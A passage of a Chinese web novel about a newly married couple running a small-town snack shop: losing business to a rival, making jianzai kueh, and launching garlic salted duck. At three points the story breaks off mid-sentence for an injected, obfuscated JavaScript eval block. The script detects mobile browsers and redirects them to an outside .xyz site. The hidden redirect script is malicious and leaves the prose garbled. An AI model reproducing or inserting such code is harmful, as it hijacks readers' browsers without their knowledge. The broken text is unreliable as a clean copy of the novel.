虽说林大松不爱干活，但他可见不得月娘小吃铺生意清冷，他嚼着花生，盯着低头大口咬着满煎糕的苏月娘恨铁不成钢道： “你不着急？这可是白花花的银子啊！你还不快去外头吆喝吆喝！” 苏月娘不为所动，“我还吃着东西呢！要去你去！” 林大松竟还真站了起来，准备出去，可不知想到了什么，他又蔫头耷脑地坐了回去。 “他们又不认识我，怎么会给我面子？” 苏月娘，“他们认识李金花比认识我和阿山久，今天这样的日子就算我和阿山出去吆喝，他们也不一定会来！” 理是这么个理，林大松只好先坐下喝闷茶。 …… 今日的生意注定好不到哪儿去，今午要售卖卖的排骨咸饭、湖头米粉也就只准备了一半的量。 许东山与林大松在后厨忙活，苏月娘、许春喜还有红姑在前头商量过几日冬至卖冬至丸的事情。 才刚谈到这家家户户都会做又不怎么值钱的冬至丸该卖多少钱一碗时，外头便传来一阵大家伙都耳熟的脚步声。 “春喜姑姑！春喜姑姑！” 难得阿生今天回来嘴里不是喊阿嬷阿嬷，大家都稀奇得很。 阿生气喘吁吁地跑到许春喜身边，指着门外，“上次那家做桔红糕的头家来找你了！” 在苏月娘许东山成亲之前，许春喜决定要用哪家糕点作坊的时候，总会带着想蹭一蹭各家糕点的阿生四处跑。 阿生自然也就认得和许春喜打了赌，最后还赌输了，包了桔红糕的那家糕点作坊的头家。 方才他在街上玩得正开心，就被糕点作坊的头家拦下来要求带路。 话音刚落，糕点作坊的头家便从外头走来了。 “本来是来碰碰运气的，没想到你还真在这儿！” 来人生得膀大腰圆的，走起路来腰上的肥肉一颠一颠的，不过人倒是长得挺面善的。 许春喜感激他真的大方地包了自家办喜事要用的桔红糕，便亲自站起来迎接。 “陈头家，你有什么好事找我？” 陈头家笑呵呵地随着许春喜去桌边坐下。 “这不前三四个月大家伙都收了稻换了钱，不少人家都挑在这段时日成亲！我那作坊虽小，却也能接到不少活，这不，实在忙不过来了，也找不到合适的帮工，就想着过来问问你乐不乐意去做几天？” 许春喜一愣，随后面露为难地看了苏月娘一眼，“这怕是不行……我会的不多，又在这儿做事……” “有什么好不行的？又不要你做什么难的！听说以前你在街上卖过碱仔粿，正好，这两天有大户人家家里要给祖公做祭，找到我这儿来说想做一批碱仔粿！况且……” 陈头家看向许春喜身后的苏月娘，“月娘头家，店里这两天要是不忙的话，就把她借给我吧！” 苏月娘绷着脸嘁了声，“正好碰上隔壁重新开业我这儿冷清了些，你就敢上门打劫！这样做事可一点都不厚道！” 陈头家双手接过了红姑给倒的茶水，品了一口，“我这不是征求你们两个的意见吗！” 这两日店里确实不会太忙，苏月娘倒也没必要将许春喜拘在店里傻坐着闲聊。 苏月娘拍了拍许春喜的手背，笑出声来，“既然陈头家都这么有诚意了，我再不放人，还显得我小气刻薄了！” 陈头家也明白了苏月娘方才是在同自己开玩笑，当即大笑出声，“你这般心胸宽广，你不挣钱谁挣钱！” 这好听话说到苏月娘心坎上去了，苏月娘忙给陈头家添茶，与他隔空对敬后将品茗杯里的铁观音一饮而尽。 “诶！我可还没答应呢！”许春喜见苏月娘还要再给陈头家添茶，忙伸手摁下公道杯，“你那作坊远，去你那儿干活得费不少气力呢！你要不给我个满意的数，我可不乐意白费这腿脚！” 陈头家闻言，爽快地点了点头，“他们付多少我都给你三成！” 这个数许春喜尚算满意，便点头答应了明日就去陈头家的作坊帮忙做碱仔粿。 得了许春喜的答复，陈头家心里畅快，又闻见了后厨飘来的香气，便留在这儿，让苏月娘请了一顿丰盛的午餐。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468886|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> —— 过了饭点，堂屋里只有零星散客还在吃饭，前面没什么要忙的，后面又有红姑和林大松在洗碗。 许春喜索性出门去朝包子铺要了一碗草木灰水，打算在家里练练做碱仔粿的手艺。 当时为了给病重的爹治病，许春喜将家底都掏空了。 许春喜一人撑不起面线糊店，只能做点碱仔粿之类的吃食去街上叫卖以补贴家用。 上回许春喜做碱仔粿，已经是两年前的事情了。 坐在灶边拾掇零碎柴叶的许东山看许春喜又做起了碱仔粿，不免回忆起许春喜从前过的苦日子。 苏月娘一进厨房，便瞧见手上还握着柴的丈夫一动不动地看着许春喜，他眼中的心疼跟泄洪一般流露了出来。 夫妻俩私下闲聊时也会聊起从前的日子，苏月娘也知道许春喜曾经靠手艺吃过饭。 稍一想，苏月娘便明白许东山在心疼什么了。 她走到许东山身边蹲下，歪着脑袋看他。 许东山见苏月娘过来了，忙要起身给她让座。 苏月娘摁住了他，凑到他耳边低声道：“你别这样……现在日子好过了，春喜做碱仔粿也只是为了赚点闲钱！” 许东山勉强扬了扬嘴角。 “我去给她帮忙，你继续做你的事！”苏月娘起身之前，往前凑了凑，在许东山唇上啄了一口。 许东山忽然被亲了一口，双眼有那么一瞬放空，反应过来后，他的心当即猛跳了起来。 “春喜还在呢！”许东山有些难为情地低声提醒道。 苏月娘回头望了一眼，许春喜还在那儿琢磨配料呢，压根没有心思扭头看一眼。 “在就在呗……她又看不见！”说着，苏月娘又快速地靠过去，在许东山唇角吻了一口。 许东山这个胆子小的紧张兮兮地盯着前方，生怕叫许春喜瞧见半点。 好在苏月娘及时收手，没再逗他，他才堪堪松下了一口气。 调戏过许东山后，苏月娘满面是笑地去找许春喜一起做碱仔粿了。 “春喜嫂，我来学学碱仔粿怎么做！” 许春喜笑了笑，拿着量米杯装糯米粉，“你爱吃硬一点的，还是黏一点的？” 苏月娘，“我爱吃黏一点的！” “黏一点？要多黏？像你和我哥刚刚那样亲来亲去一样黏？”许春喜冲着苏月娘一阵挤眉弄眼。 做了坏事还被逮了个正着的苏月娘，“……” 许春喜声音不小，坐在灶边的许东山听了，臊得赶紧起身走人，省得被许春喜抓着胡乱调侃。 吓了苏月娘与自家哥哥一顿后，许春喜露出了得意的笑。 “没想到你跟我哥这般好，还得见缝插针地亲来亲去！” 这处离窗台极近，苏月娘生怕林大松与红姑将许春喜的话听了去，连忙捂住许春喜的嘴巴。 “你快把这事儿烂肚子里！不然我跟你没完！” 原还想再作弄一番的，可瞧见了苏月娘红得能滴血的脸颊，许春喜这才点头妥协。 62. 碱仔粿2 “从前我吃的碱仔粿放久了摸起来就跟没了水的老豆腐一样，还没有嚼劲……这黏一点的碱仔粿究竟是怎么做的？” 抛开许春喜闹了自己一顿不谈，苏月娘还是很想知道碱仔仔细细要怎么做才能软糯。 “这可是我以前卖碱仔粿时慢慢琢磨出来的！”说起这个许春喜很是得意地拿起一旁的一个小盆，晃了晃里头的白色粉末，“只需要加这个就好了！” 苏月娘疑惑地用指腹沾了点搓了搓，再仔细一闻，“这不是粘米粉吗？” “是啊，有一回我做碱仔粿的时候糯米粉不够了，我就拿这粘米粉来凑数，没想到那次做的碱仔粿不仅味道好，而且吃起来还比从前软糯！”许春喜取来量米杯开始取粉，“既然你喜欢黏一些的，那就多放点粘米粉。” 于是，许春喜舀了四平杯粘米粉和一杯冒尖的糯米粉放入大木碗中，而后让苏月娘提来温水帮着倒进去。 “你慢一些倒，我喊停你就收手！” 姑嫂二人说好了要如何倒水之后，苏月娘便稍倾手腕，缓慢地往碗里头倒水。 许春喜搅拌没几下便喊了停，等拌匀了，再喊苏月娘继续倒水。 似这般少量地倒了七.八回水，糯米粉和粘米粉便被搅和成了稀稀的粉浆。 “你喜欢空口吃碱仔粿吗？” 拌好粉浆之后，许春喜倒入了一小碗刚刚去包子铺要的草木灰水。 苏月娘如实摇了摇头。 “那就不加糖了！”许春喜将筷子与掺了草木灰水的粉浆递给苏月娘，“你先替我搅拌均匀，我去烧柴火刷油！” 今天做的碱仔粿不算多，用不着后头的大灶。 外头刷碗的林大松刷累了，一抬头，正好瞧见许春喜在窗边小灶边上忙来忙去的身影。 “嘿！春喜！” 许春喜正给木盘子刷油，听见林大松喊她，掀眸看他，“你喊我做什么？” 林大松就冲着她笑，“不做什么，就是想喊你一声！” 林大松一直就不是个很聪明的人，许春喜都习惯了他时常做这种没什么来由的事情。 跟往常一般，许春喜冲他翻了个白眼后，消失在了窗边。 红姑目睹全程，不免笑吻道：“大松，你是怎么讨上春喜做媳妇的？” 林大松，“都是大哥看得起我，劝春喜嫁给我，不然我哪有那本事自己讨上这么个好媳妇？” 红姑作为过来人，还是忍不住与林大松这个憨大呆说上一句： “我可是看着春喜长大的！她打小就有主见又脾气倔，她不乐意做的事情，她亲爹亲哥怎么劝可都没用！” “啊？”林大松眼神清澈地看向红姑。 “憨大呆呀憨大呆！真是憨人有憨福！”红姑倒掉洗碗盆里的水，笑着回屋去了。 …… 搅和成了黄色的粉浆已经倒入刷了油的木碗入锅开始蒸制了。 苏月娘将用过的碗筷从窗子里递给外头的林大松去洗。 看锅的事情被许春喜包下了，苏月娘正好出去排一排被食客们撞歪的桌椅。 很是难得，从前从不在店门开着的时候无故离开厨房或者堂屋的许东山已经消失了两刻钟了。 苏月娘探头一望，许东山外出会穿的鞋还整整齐齐摆在门边，所以，许东山一定没走出家门。 以苏月娘对他的了解，他必不可能回屋午睡。 那么他离开前屋，极有可能是被许春喜那几句话给臊得不敢见人。 一想到这儿，苏月娘忍不住扬起了嘴角。 这人好像一直这么不禁逗…… —— 碱仔粿半刻钟多一些便可以出锅了。 许春喜将滚烫的碱仔粿从锅里端出，再放在窗台上放凉，顺便看林大松干活。 将红姑的话反复琢磨的林大松看着许春喜站在窗边，还傻傻问道：“春喜……你站那做什么？特意来看我的？我马上就洗好进去陪你！” 许春喜抬起手，“打住！我在这儿站着是怕你偷吃我的碱仔粿。” 林大松，“……” 等伤心的林大松洗完碗，碱仔粿正好冷却到可以直接用手触碰的温度。 林大松可不想许春喜觉得他贪嘴，难得没凑到许春喜身边张嘴，而是坐到大灶边上的矮板凳上生闷气。 碗底刷了油防粘，许春喜很轻易地就将一整片碱仔粿取了下来。 富有弹性的淡黄色碱仔粿一弹几晃，瞧着就知道一定软糯弹牙。 许春喜取了把大剪子，将那一整片碱仔粿剪成几个长条，而后再将长条剪成小块，最后，分装成三盘。 碱仔粿本身并没有什么滋味儿，须得加上蜂蜜或者白糖食用。 生着闷气的林大松正扯着枝上的枯叶，忽然，他的视线里出现了一块裹满了白糖的碱仔粿。 顺着碱仔粿望去，是许春喜夹着碱仔粿，站在他身边看着他。 “这……” “你不想吃？你不吃我就自己吃了！” 林大松赶紧张大他的嘴，许春喜便将那块裹满白糖的碱仔粿塞进他的嘴里。 林大松一边嘎巴嘎巴地嚼着碱仔粿，一边抱着许春喜的大腿，在她腰上蹭了蹭，“春喜，我好爱你啊……” 许春喜被林大松肉麻出了一身鸡皮疙瘩，她嫌弃地推了推林大松的脑袋，“自己拿着吃，我去喊月娘！” …… 等苏月娘拿到她那盘碱仔粿，自己还没尝呢，就先端着去后屋寻许东山。 才走出房巷，就瞧见许东山站在浴房外的水池边洗他与苏月娘昨晚来不及洗的衣裳。 话说许东山这人还真是眼里有活，打成了亲之后，苏月娘就没洗过几次衣裳。 “阿山阿山～” 听见苏月娘甜腻腻的声音，许东山抬起头望去。 想起方才的事情，许东山的耳根子慢慢地变红了。 苏月娘端着那盘碱仔糕，满面笑容地朝他走去，见许东山并不怎么搭理自己，她撅着嘴，撞了撞许东山。 “你怎么一个人躲到这儿来了？我找你找得好辛苦啊……” 许东山，“……” 他可不信这话，毕竟他刚刚去房巷口张望有无客人时，苏月娘就大喇喇地坐在堂屋正中逗阿生玩。 “来来来……我们阿山洗衣裳辛苦了，吃块碱仔粿吧！你要蘸蜂蜜还是蘸白糖？” 许东山，“……就蜂蜜吧……” 许东山没那么爱吃甜的，苏月娘就只蘸了一小角，就喂到了他的嘴边。 许东山张嘴吃下碱仔粿，认真品味了一番。 这其实是他头一回吃许春喜做的碱仔粿，从前知道许春喜的碱仔粿都是要拿去卖钱的，他便一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474098|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都舍不得吃。 如今尝了，才知道许春喜做的碱仔粿可比别人家做的好吃多了。 如此软油润牙又没有太多草木灰水的味道，是别人家所不能及的。 配上蜂蜜，最后那一点儿草木灰水味被完全掩盖，这碱仔粿当真是无可挑剔，十足味美。 “再吃一口白糖的！”苏月娘见许东山咽下了蜂蜜的，便又给他塞了一口白糖的。 “剩的你自己吃，我拧一下衣裳。” 苏月娘点点头，靠在一边吃起了碱仔粿。 一口蜂蜜的，一口白糖的，若是再配上一壶热气腾腾的铁观音茶，那必然更显惬意。 许东山从凉水中捞出苏月娘的衣裳，拧成长条，攥出水，而后挂到天井中央的晾衣绳上。 这身衣裳是新做的，颜色艳，款式新，苏月娘很是爱惜这身衣裳，许东山将衣裳晒上后，没忘记将衣裳四处拉扯一番，拉平了拧水时弄出的皱痕，再仔细调整挂衣服位置。 许东山认真地晒好了两人的衣裳，放眼看去，他俩的衣裳可比边上许春喜和林大松的衣裳来得整齐多了。 许东山晒好了衣裳，苏月娘也吃完了那一小盘碱仔粿。 今日虽然生意不怎么样，但排骨咸饭还是卖空了，许东山见时候差不多了，便打算去准备傍晚要卖的排骨咸饭。 怎知道他刚一抬脚要往房巷那儿走，苏月娘便伸手将他拦住。 “怎么了？” 苏月娘拉着他的手腕，一步挪进了他的怀中，贴在他的胸前，打量着他的耳朵。 “你怎么还害羞啊？” “我没有。”许东山一低头就看见苏月娘的笑脸，分明边上没人，她也没做出什么出格的动作可他就是忍不住耳朵发烫发红。 苏月娘抬起手，揪住他的红耳朵，冷哼道：“你要是不害羞的话，你的耳朵为什么这么红？” 许东山垂眸，没有回应。 看许东山这模样，苏月娘计上心头，两条胳膊环上了他的脖颈，脑袋往前一凑。 已经吃了一亏的许东山警觉地往后一躲。 苏月娘落了空，当即皱眉控诉他，“许东山！你居然敢躲！” “月娘……”许东山一脸难为情。 “春喜嫂可不在这儿！你怕什么！”苏月娘可不管，她非得压着许东山的脖子，撅着嘴要亲。 当然，她还真霸王硬上弓地亲上了许东山。 亲都亲了，方才还在害羞的许东山也不管什么春喜不春喜的了，后背往墙上一靠，双手握着苏月娘的腰肢，脖子再压低几分，与她难舍难分地吻了起来。 这新婚燕尔的，正是情浓的时候。 两个人这一亲就停不下来了，当许春喜走出房巷时，就瞧见许东山与苏月娘在水池边上互相又亲又啃。 隔着五米的距离，许春喜还能清楚地听见“啧啧”的声响。 许春喜，“……” 这个时候她要是再往里走，那也太没眼力见了。 于是许春喜脚步慌乱地往回走，忙乱中，她还自己踩了自己一脚，差点一头撞上门框。 有如此声响，亲得难舍难分的两人当即见了鬼一般地松开了对方。 许春喜的身影已然消失在了房巷口。 许东山抿了抿有些肿的唇…… 罢了，排骨咸饭也不是非做不可！ 63. 蒜蓉咸水鸭 隔壁的许氏面线糊店开业有五日了，每一日的生意都比月娘小吃铺的红火。 李金花不知是怎么转了性了，一改从前抠搜小气的做派，不仅给的量多了收的钱少了，就连味道也有很大的改善。 月娘小吃铺里一连冷清了五日，头几日还能勉强卖完的吃食，到了后几日便开始无人问津。 原还自信生意很快会好转的苏月娘倒也有些坐不住了。 大清早的，林大松看店里不忙，干脆送许春喜去糕点作坊做事。 苏月娘坐在堂屋一侧的桌边，闷闷不乐地掰着面线。 她斜对面，坐着的是吴头家。 吴头家喝完一大碗面线糊后，浑身变得暖和起来，伸手抻了个懒腰后，自然而然地打了个饱嗝。 他一向心思细，自然能察觉到月娘小吃铺生意不如以前红火了，而一向爱说爱笑的月娘头家这两日也耷拉着眉眼，闷闷不乐地坐在一旁做事。 “嘿！” 吴头家一连喊了几声，苏月娘才回过神来。 她下意识站了起来，“是要添面线糊吗？” 吴头家笑着摆摆手。 “我吃撑了！就是看你这两天都闷闷不乐的，心里有些担心。” 苏月娘对着吴头家强颜欢笑，倒也没有隐瞒自己近几日的境况，“开店以来做什么都很顺……可最近店里一下冷清了……心里难免会有点落差。” 都是开门做生意的人，吴头家对苏月娘的心情很是理解。 吴头家抬了抬下巴，示意苏月娘往后看。 苏月娘转过头去，只看见了站在递面线糊的窗边搅拌面线糊的许东山。 “这两天你家阿山师傅有跟你抱怨过生意不好吗？” 苏月娘摇了摇头。 这两天林大松和许春喜都懈怠了，唯独许东山还依旧默默地做着他该做的事情，夜里，夫妻独处时，他也没提任何一句关于生意的事情。 他这回倒是一点都不急。 “他一句都没提……以前别家学我家做咸饭，生意影响不算大的时候他都知道急的……” 吴头家笑了笑，“以前他自己当头家的时候一天能卖个十碗就阿弥陀佛了，他知道生意要多差，店才会倒闭，但你看你现在，从我坐下来到吃完，店里来了七个客人，每个点的料还都不少，这都能赶上他从前一天挣的了！” “对他来说，只要生意没差到他那个地步，一切都还是有转圜的余地！你啊，就先别那么担心！” 对苏月娘来说许东山怎么想的并不是很重要，他只是个厨子，又不精通做生意的事情，知道他是怎么想的，还不如知道要怎么解决事情。 “您是过来人，您知道要怎么解决这事儿吗？” 吴头家挠了挠他的双层下巴，像是在琢磨要给苏月娘提什么建议。 苏月娘连忙回厨房装了一碗花生出来，放在吴头家的面前。 炸得油亮的花生摆在面前，刚还说自己吃撑的吴头家，又觉得自己也不是不可以再吃点东西。 “你啊……”吴头家嚼着花生，一句话断成了好几部分，“别苦着一张脸了，你再这样，我可就去隔壁找笑得脸快皱掉的李金花吃面线糊了！” 苏月娘，“……” 虽然当下还是心情不佳，但苏月娘还是很努力地扬起嘴角。 接着，吴头家又盯着才做好不久的菜单板子看了好一会儿。 “昨天我去隔壁探了个头，发现你家有的东西，隔壁也有，甚至光咸饭的种类都有四五种呢！我看你也别光往咸饭配汤上琢磨了，想点不一样、别家没有又能卖得长久的东西！” —— 吴头家离开后，苏月娘坐在堂屋里琢磨了许久。 话说只要店里一出新的吃食，别家很快也能学去，从前生意没有受到太大的影响，被学的次数多了，倒也就麻木了。 到后面，她与许东山都懒得再想什么新的吃食了。 除去海蛎煎这还算是有点时节性的吃食外，旁的四季都能吃到的吃食确实是许久都没有上新过了。 苏月娘想着新吃食的事情，一整日都心不在焉的。 …… 午后，许东山趁着店里不忙外出买了点菜。 苏月娘正擦着桌子，一抬头就看见许东山左手提篮，右手拎鸭，从外头走来。 “怎么突然买鸭子了？这个时候炖汤来不及了吧？”苏月娘两手在围身巾上来回擦了一番后，走上前去看许东山手里那只已经处理好了的鸭。 这只鸭子个头不算特别大，嘴壳软、鸭蹼细嫩无茧皮，不像是适合用来炖汤的老鸭。 “不炖汤，做咸水鸭给你吃。”许东山提着鸭头晃了晃，面上笑意温和，“小时候跟春喜吵架了惹春喜不开心了，我爹就会做咸水鸭哄春喜开心……” 苏月娘听这话，苦了一日的脸，总算有了笑容。 “我现在心情没那么坏了，你别担心！”苏月娘笑着接过鸭子，脚步轻快地走在前头进了厨房。 在厨房里做事的红姑和林大松看苏月娘面上有了笑，纷纷松了一口气。 “你总算是笑了！看你苦了两天脸，我都不习惯了！”红姑将今早买的两斤冬枣洗干净了，正好走上前去往苏月娘嘴里塞了一颗。 青上缀红的冬枣又脆又嫩，虽然没什么水分，但细嚼之后却又满口香甜。 苏月娘将冬枣籽吐在一旁的桶里，又张嘴让红姑喂了一颗。 “你去吃冬枣，我来煮鸭。” 虽然咸水鸭也诱人，但眼下还是冬枣唾手可得，于是苏月娘将鸭子交给了许东山。 而许东山将鸭子转给无所事事地坐在灶边偷懒的林大松，“你去把鸭子洗了！今天晚上吃蒜蓉咸水鸭！” 林大松很爽快地起了身，提着鸭子去外头仔细冲洗了两回。 小锅里头已经装了两大瓢的水，林大松提着鸭脖子将鸭子放到水里，再弯腰生火。 水还没热，许东山快手准备好了姜片、葱结、八角、花椒、香叶一齐倒入锅中，再淋上半圈料酒后，便盖上了锅盖。 许东山刚放下料盆，苏月娘便往他嘴边递了颗大冬枣。 许东山嘴一张，苏月娘将枣一塞，两口子整整齐齐地鼓着腮帮子嚼着嘎嘣脆的冬枣。 等锅里水开，许东山用锅勺撇去水面上的浮沫，再撒入两勺半盐，见盐堆化在了滚烫的料水中，许东山取来一个瓷盘，扣压在鸭子身上后再次合上锅盖。 幼鸭肉嫩，若是大火炖煮又算不好出锅的时辰，鸭肉难免会变得干柴。 左右离晚饭还有好一会儿，许东山索性取了一般粗柴出来，用小火慢烹着鸭子。 等锅边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480259|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢慢冒出炖鸭的香味了，林大松摸了摸有些瘪的肚子，站了起来，“我先去接春喜了！” 若是再在这儿待着，林大松怕自己的口水会情不自禁地从嘴角流下来。 …… 太阳快落山了，煮了将近半个时辰的鸭子可以出锅了。 夕阳余晖从窗外照入，铺在烫得冒烟还沾了几粒花椒的鸭子身上。 许春喜一进门就看见这黄皮鸭子趴躺在盘子里，一副“仙气飘飘”的模样。 “这个可恶的林大松！非要给我买什么肉包子！害得我都没肚子吃咸水鸭了！” 苏月娘笑着看了眼门外的表哥，“难怪刚刚表哥那么积极地去接你回家呢！” “再去炒两个菜，马上就可以吃饭了！”许东山端着一盆用盐、糖和少许酱油调过味的蒜蓉走向那只乍一看仙气飘飘实则熟得冒烟的鸭子。 这鸭子全须全尾的，许东山一共捣了六两的蒜蓉。 趁着鸭子还热着，许东山挖了一大勺蒜蓉铺在鸭子身上，用勺底抹平。 外头抹完，再抹鸭腹，整只鸭子均匀地裹满了一层浅黄色的蒜蓉，仙气飘飘不复，倒是多了几分烟火气息。 蒜蓉鸭子静置了一会儿，差不多入了味儿了，许东山才用大剪子将这头蒜蓉咸水鸭照着关节拐点剪成小块。 这咸水鸭是买来哄心情不佳的苏月娘的，所以许东山特意关照她，一剪好鸭子，便捏着一只鸭腿让苏月娘先吃。 “不烫了，可以直接吃了！”知道苏月娘不爱手上有葱蒜味儿，许东山便让苏月娘就着自己的手啃鸭腿。 苏月娘也顾不上炒黄瓜肉片了，张大嘴巴，一口将腿包到嘴里。 许东山怕她噎着，赶忙要将腿抽出来，结果，抽出的却是一条光秃秃的鸭腿。 苏月娘嘴里塞得鼓鼓囊囊的，笑得傻兮兮的。 “你也不怕噎着……” 苏月娘含糊不清地说了两句，许东山没听太懂，但也猜到她大概在说自己不会噎到。 送走了最后一位客人，在外头疯玩了半天的阿生也回来了。 菜、汤、饭摆上桌，六人纷纷围坐在一起开饭。 今日这咸水鸭咸香味美，皮滑肉嫩，蒜香味儿十足，大家伙都乐意吃这个。 一人分个几块，这咸水鸭也就空盘了。 受到了自家干爹关爱的阿生多分到了一块鸭肉，小家伙小口小口品味着鸭肉，肉吃完后还恋恋不舍地嗦了嗦同样入味的骨头。 “喜欢吃的话明天再买只大点鸭子来做！”苏月娘见阿生这般，有些哭笑不得。 “干娘，你不要太破费了！” 自苏月娘与许东山成亲后，阿生也就慢慢地改口喊苏月娘为干娘。 苏月娘笑着摸摸阿生的圆脑袋。 “大家都觉得这咸水鸭怎么样？” “好吃！” “香！” 大家异口同声道。 “我们镇上没有专门做咸水鸭的人家，不如我们就先抢下这门生意！” 方才吃第一只鸭腿的时候，苏月娘就在想着这事儿。 现在店里生意不好，苏月娘要添其他吃食也不奇怪。 但是鸭子并不便宜，只怕买的人并不会多。 大家看着苏月娘面上的笑，到底是将这话咽回肚子里去了。 64. 蒜蓉咸水鸭2 既然要卖咸水鸭，那么以散买的价格买鸭，定是划不来的。 是以天还不亮，许东山便喊上林大松一起出门去找镇上卖牲畜的贩子挑鸭。 困得眼皮直打架的林大松迷迷糊糊地跟着许东山走，直到许东山将两个热乎的大肉包子递到他面前，他才清醒过来。 “吃饱点，一会儿要买六只肥鸭。” 林大松大口咬着又肥又香的大肉包子，幸福得一对小眼睛都眯了起来。 虽然苏月娘不缺买鸭钱，但林大松还是忍不住道：“就算咱们买得多，那一只鸭子折下来也要四五十文钱，一只鸭子分四五个人，这一顿下来，少说也要卖十几文钱，咱们才能赚上一点辛苦钱……真的会有人花十几文钱吃一顿饭吗？” 林大松前前后后在店里干了一段时间，他就没见过几个舍得一顿饭吃十几文钱都。 许东山嚼着香甜的馒头，“总会有人舍得的。” 林大松叹了口气。 前几年打仗，大家的日子都过得紧巴巴的，这两年好不容易手头宽裕一点了，但凡勤俭节约一点的人都不会舍得花在吃食上头。 …… 六只拔了毛还开膛破肚的鸭子许东山一人并非拎不动，带上一个林大松自有他的用处。 鸭子毕竟不是便宜的东西，与贩子讲讲价还是很有必要的。 许东山嘴笨不善言辞，这时候就需要有时还挺巧舌如簧的林大松帮着讲价了。 虽说林大松不爱帮着林富贵和张氏干山上的农活，但售卖作物的事情却全被他一手包揽。 与人谈价，对他来说不在话下。 原来散卖五十文，批卖四十五文的价格，愣是让林大松谈了个三十八的吉利价格，后来二百二十八的总价，林大松愣是让人抹了个零，给了二百二十五。 —— 两人拎着鸭子回去时，苏月娘正好备好了今日的面线糊配料。 “这鸭子买了多少钱？”苏月娘端来大盆，让许东山和林大松将已经只剩下皮肉骨头的鸭子放到盆里放着。 “二百二十五文！” 林大松得意地将价钱告诉苏月娘后，便忙着送许春喜去糕点作坊做事了。 苏月娘震惊地看向许东山，“二百二十五文？你们两个贪小便宜买了隔夜的鸭子？” 许东山笑着摇了摇头，“出门的时候花了六文钱给大松买了两个肉包子长长力气，然后到地儿了就让他和卖鸭的讲价。” 苏月娘噗嗤一笑，“你怎么这么聪明啊？那以后你买菜买肉都带着表哥出门！这一趟省下来的钱都够他吃好几天肉包子了！” 已经和许春喜走到外头的林大松猛然打了个喷嚏。 吃着林大松特意留起来的肉包子的许春喜满面嫌弃地看着他。 林大松揉了揉发痒的鼻头，嘟囔道：“哎呦……刚刚就眼皮乱跳，现在还打这么大个喷嚏……谁这么缺德在算计我啊！” 许春喜，“你有什么好算计的？” 林大松，“……” —— 今日店里一如既往地冷清。 但苏月娘还是沉住气，等着许东山和林大松做好咸水鸭。 咸水鸭配米饭是最合适的吃法。 六只鸭子大概能分三十个人，为了这咸水鸭能好卖一些，苏月娘决计今日不售排骨咸饭。 咸水鸭抹好了蒜蓉之后，苏月娘去到外头招呼上门的食客。 鼻子灵的，一进门就闻见了一股咸香蒜味儿。 看食客仰着头，用力嗅味儿，苏月娘便介绍道：“今天我们卖咸水鸭，一份咸水鸭大概有五两，卖十三文钱，配米饭和一碗丸子骨汤。” “十三文……虽然我想尝尝味道，但十三文确实太贵了，就先给我上一碗湖头米粉汤吧！” 苏月娘收了湖头米粉汤的六文钱后便让林大松开煮。 另外几位客人琢磨了一会儿，都觉得十三文吃一顿饭太奢侈，便就点了其他的吃食。 没在这一波客人里卖出咸水鸭苏月娘也不气馁，毕竟前几日吴头家叫她知道了曾经许东山的生意有多惨烈。 一切尚有转圜的余地，暂不急于这一时的惨淡。 苏月娘和红姑一起将客人们点的吃食送到堂屋去之后，便独自一人走到孤榻上去站着。 现下正是饭点，往这巷子里来的行人倒是不少，可一大半都往隔壁许氏面线糊走去。 其中不少是熟客。 那些人见了苏月娘，还与她不好意思地笑着。 苏月娘回以一笑，心里却暗暗琢磨着要怎么把生意做大、做到外面去。 她的小店开在镇中巷头，做的是厝边头尾的生意，有些东西总是绕不开人情世故。 若是生意可以做得更大，她就可以不这么在乎凤池镇的生意了。 兀自唉声叹气了好一会儿，有人走到她跟前。 “头家，头家！” 苏月娘转过头来人竟是知府周伯益。 没想到这么些时日没见，周伯益都会说头家了。 “周大人好！”这可是贵客，苏月娘一扫面上阴云，笑得灿烂，“吃了吗？我请您吃一顿！” 周伯益可帮了她大忙，请他吃顿饭也是应该的。 虽然周伯益听不懂苏月娘在说什么，但他也确实是来吃饭的，便抬脚随着苏月娘进门了。 这还是周伯益头一回在月娘小吃铺营业的时候过来，看这堂屋里的人不算多，他便寻了个清静的地方坐下。 语言不通的缘故，苏月娘示意周伯益看钉在堂屋墙壁上的木菜单。 周伯益看了半晌，难以抉择吃什么。 不过思虑之时，他闻见了一股从厨房飘来的香味儿。 咸香、蒜香、鸭汤香巧妙融合，香味无比诱人，勾得腹中空空的周伯益咽了咽口水。 “这香味从哪来的？”周伯益看向厨房。 苏月娘听不懂，但还是根据周伯益的表现琢磨了一番，恍然大悟后，她让周伯益稍等，跑回厨房去让许东山备一只咸水鸭。 “阿山，周大人过来了！你去把最肥最大的一只鸭子切了，好好招待招待周大人！” 